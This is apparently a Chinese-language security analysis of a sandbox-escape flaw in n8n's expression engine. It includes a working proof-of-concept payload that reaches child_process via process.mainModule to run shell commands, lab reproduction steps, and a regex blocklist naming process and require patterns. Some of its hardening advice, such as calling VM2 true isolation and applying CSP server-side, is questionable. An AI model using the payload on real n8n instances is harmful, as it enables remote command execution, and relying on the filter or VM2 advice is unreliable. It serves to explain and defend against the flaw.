漏洞背景与影响范围
CVE-2025-68613是某开源工作流自动化工具n8n在表达式求值过程中存在的沙箱逃逸漏洞,影响版本范围从0.211.0至1.120.3。该漏洞允许攻击者通过精心构造的JavaScript表达式绕过沙箱限制,最终在宿主系统执行任意命令。作为企业级工作流核心组件,此类漏洞可能导致数据泄露、服务中断甚至供应链攻击等严重后果。
沙箱设计缺陷分析
n8n的表达式引擎采用基于JavaScript的沙箱机制,其核心设计目标是将用户自定义表达式与Node.js全局环境隔离。然而实际实现存在三处关键缺陷:
- 上下文隔离不彻底:表达式求值器在创建执行环境时,错误地将
this绑定指向全局对象而非独立沙箱实例 - 模块系统暴露:未对
require等核心模块访问进行拦截,导致攻击者可间接访问系统模块 - 原型链污染风险:未冻结关键对象的原型链,为属性劫持攻击提供可能
这些缺陷共同构成攻击面,使得攻击者能够通过JavaScript的原型链特性逐步突破沙箱边界。
漏洞利用原理详解
攻击链分解
典型攻击路径包含四个关键阶段:
// 概念验证载荷结构(function(){// 阶段1:获取全局对象const global = this;// 阶段2:访问进程信息const process = global.process;// 阶段3:定位主模块const mainModule = process.mainModule;// 阶段4:加载子进程模块const childProcess = mainModule.require('child_process');// 阶段5:执行系统命令childProcess.execSync('id');})();
1. 全局对象获取
在非严格模式下,立即执行函数(IIFE)中的this默认指向全局对象。由于沙箱未正确隔离执行上下文,攻击者可直接获取Node.js的全局环境:
// 正常沙箱应返回隔离对象console.log(this === global); // 预期false,实际返回true
2. 进程信息泄露
通过全局对象可访问process对象,该对象包含:
- 当前工作目录(
process.cwd()) - 环境变量(
process.env) - 命令行参数(
process.argv) - 模块加载路径(
process.mainModule)
3. 模块系统突破
mainModule.require()方法绕过了沙箱对require的直接调用限制。这种间接访问方式利用了Node.js模块系统的设计特性:
// 正常沙箱应阻止模块加载try {require('fs'); // 直接调用被拦截} catch (e) {console.log('Blocked:', e.message);}// 漏洞利用方式const fs = process.mainModule.require('fs'); // 成功加载
4. 命令执行达成
最终通过child_process模块的同步执行方法实现RCE:
const { execSync } = require('child_process');const output = execSync('whoami', { encoding: 'utf-8' });console.log('Current user:', output);
漏洞复现环境搭建
测试环境准备
-
版本选择:安装受影响版本1.120.0
npm install n8n@1.120.0
-
启动服务:
n8n start --tunnel # 启用隧道模式便于外部访问
-
工作流配置:
- 创建HTTP节点接收POST请求
- 添加Set节点配置恶意表达式:
// 恶意表达式示例(()=>{const { execSync } = this.process.mainModule.require('child_process');return execSync('id').toString();})();
攻击演示步骤
-
发送构造的POST请求:
curl -X POST http://localhost:5678/webhook/test \-H "Content-Type: application/json" \-d '{"input":"malicious"}'
-
观察服务端日志,可见系统命令执行结果:
uid=1000(n8n) gid=1000(n8n) groups=1000(n8n)
防御与修复方案
临时缓解措施
- 版本升级:立即升级至1.120.4或更高版本
- 网络隔离:限制工作流引擎的外部网络访问
-
输入验证:对表达式内容进行正则过滤:
function sanitizeExpression(input) {// 禁止函数声明和关键对象访问const forbiddenPatterns = [/function\s*\(/,/this\./,/process\./,/require\(/];return forbiddenPatterns.some(pattern => pattern.test(input))? null: input;}
长期修复方案
- 沙箱重构:采用真正的隔离方案如VM2或Duktape
- CSP策略:实施严格的Content Security Policy
- 权限控制:
- 使用最小权限原则运行服务
- 通过POSIX能力限制进程权限
- 审计日志:记录所有表达式执行情况
企业级安全建议
- 漏洞扫描:将该漏洞纳入CI/CD流水线检测项
- 沙箱监控:实时监控沙箱逃逸尝试行为
- 零信任架构:
- 工作流节点间实施双向TLS认证
- 对敏感操作添加二次验证
- 应急响应:建立包含隔离、取证、修复的标准流程
该漏洞再次凸显了沙箱设计的复杂性。企业在采用工作流自动化工具时,应优先选择经过安全审计的商业解决方案,或对开源组件实施严格的安全管控。对于自建沙箱环境,建议参考行业安全标准如OWASP ESAPI进行加固。